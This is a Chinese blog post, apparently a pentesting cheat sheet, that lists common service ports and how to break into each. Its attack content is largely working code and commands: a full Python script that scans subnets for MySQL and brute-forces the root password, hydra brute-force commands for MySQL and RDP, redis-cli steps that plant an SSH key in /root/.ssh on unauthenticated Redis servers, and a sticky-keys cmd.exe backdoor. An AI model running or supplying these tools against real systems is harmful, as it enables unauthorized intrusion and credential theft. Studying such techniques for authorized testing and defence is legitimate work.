未分类

常用端口入侵与协议

OSI七层模型各层代表协议

  • 应用层:FTP、DNS、Telnet、SMTP、HTTP、WWW、NFS
  • 表示层:JPEG、MPEG、ASII、MP4
  • 会话层:NFS、SQL、NETBIOS、RPC
  • 传输层:TCP、UDP、SPX
  • 网络层:IP、ICMP、ARP、RARP、OSPF、IPX、RIP、IGRP
  • 数据链路:PPP、FR、HDLC、VLAN、MAC
  • 物理层:RJ45、CLOCK、IEEE802.3

端口

值得收藏的40个黑客常用入侵端口总结-安全-PHP中文网

端口是设备与外界通讯交流的出口。端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。

端口渗透过程中我们需要关注几个问题:

1、 端口的banner信息

2、 端口上运行的服务

3、 常见应用的默认端口

公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

动态/私有:49152-65535,不为服务分配这些端口;

针对不同的端口进行不同的安全测试,本文的主要内容是关于常见端口安全隐患以及测试方法。

常见漏洞类型:

21.FTP (21)

测试内容
爆破:工具hydra,msf…
匿名访问:用户名:anonymous  密码:为空
弱口令:字典

22.SSH (22)

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
测试内容
暴力破解,弱口令
相关工具:hydra,msf等

23.Telnet (23)

测试内容
嗅探:此种情况一般发生在局域网;
暴力破解帐号密码,弱口令,空口令

53.DNS(53)

默认端口:53
攻击方式:
dns域传输漏洞 dns.py

80.HTTP/HTTPS (80,443)

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。

1433.MSSQL(1433)

MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
测试内容
暴力破解
工具:hydra

1521.Oracle (1521)

Oracle是甲骨文公司的一款关系数据库管理系统。
测试内容
暴力破解
枚举数据库信息
测试工具:msf等

2375.Docker(2375)

默认端口:2375
未授权访问;
Ip:2375/version

3306.MYSQL (3306)

MySQL是一个关系型数据库管理系统。
测试内容
暴力破解
爆破工具:hydra,python,
hydra.exe -L c:\user.txt -P c:\pass.txt ip mysql

#!/usr/bin/env python

import threading

import argparse

import socket

import Queue

import netaddr

import MySQLdb

import time

import sys

class Mysqlfuzz:

    def __init__(self,addr,tnum):

        self.scanque = Queue.Queue()

        self.tnum = tnum

        self.tmpnum = tnum

        self.lock = threading.Lock()

        self.openlist = []

        if addr.find(“-“) != -1:

            for ip in netaddr.IPRange(addr.split(“-“)[0],addr.split(“-“)[1]):

                self.scanque.put(ip)

        else:

            for ip in netaddr.IPNetwork(addr).iter_hosts():

                self.scanque.put(ip)

        self.qsize = self.scanque.qsize()

        for i in range(tnum):

            t = threading.Thread(target=self.ScanPort)

            t.setDaemon(True)

            t.start()

        while self.tmpnum > 0:

            time.sleep(1.0)

        print “[*]:cracking MySQL Password …”

        with open(“pass.txt”,”r”) as file:

            data = file.readlines()

        for ip in self.openlist:

            for line in data:

                self.scanque.put(line.strip())

            for i in range(tnum):

                t = threading.Thread(target=self.Crack,args=(ip,))

                t.setDaemon(True)

                t.start()

            while self.scanque.qsize() > 0:

                time.sleep(1.0)

    def Crack(self,ip):

        while self.scanque.qsize() > 0:

            try:

                password = self.scanque.get()

                conn=MySQLdb.connect(host=ip,user=’root’,passwd=password,db=’test’,port=3306,connect_timeout=4)

                self.lock.acquire()

                msg = “[+]:%s Username: root Password is: %s” %(ip,password)

                print msg

                output = open(‘good.txt’, ‘a’)

                output.write(msg + “\r\n”) 

                self.lock.release()

                break

            except:

                pass

    def ScanPort(self):

        while self.scanque.qsize() > 0:

            try:

                ip = self.scanque.get()

                s = socket.socket()

                s.settimeout(4)

                s.connect((str(ip), 3306))

                self.lock.acquire()

                print ip,” 3306 open”

                self.openlist.append(str(ip))

                self.lock.release()

            except:

                pass

        self.tmpnum -= 1

if __name__ == “__main__”:

    parse = argparse.ArgumentParser(description=”mysqlfuzz”)

    parse.add_argument(‘-a’,’–addr’, type=str, help=”ipaddress”)

    parse.add_argument(‘-t’,’–thread’, type=int, help=”Thread Number”,default=100)

    args = parse.parse_args()

    if not args.addr:

        parse.print_help()

        sys.exit(0)

    addr = args.addr

    tnum = args.thread

    Mysqlfuzz(addr,tnum)

python mysql.py -a 192.168.1.1/24 -t 30

3389.RDP (3389)

远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
测试内容
爆破用户密码
根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
相关工具:hydra,msf
hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V 
ms12-020:

cve-2019-0708:


5次shift键:把shift.exe 替换成 cmd.exe

6379Redis(6379)

默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager

在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
#ssh-keygen –t rsa
#(echo -e “\n\n”; cat id_rsa.pu; echo -e “\n\n”) > test.txt
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 0.0.0.0
0.0.0.0:6379> config set dir /root/.ssh/
OK
0.0.0.0:6379> config set dbfilename “test”
OK
0.0.0.0:6379> save
OK

8080.Tomcat(8080)

默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager/html后台)admin/admin tomcat/tomcat admin/null

HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
Tomcat官方安全公告漏洞;如:CVE-2017-12615

留言

您的邮箱地址不会被公开。 必填项已用 * 标注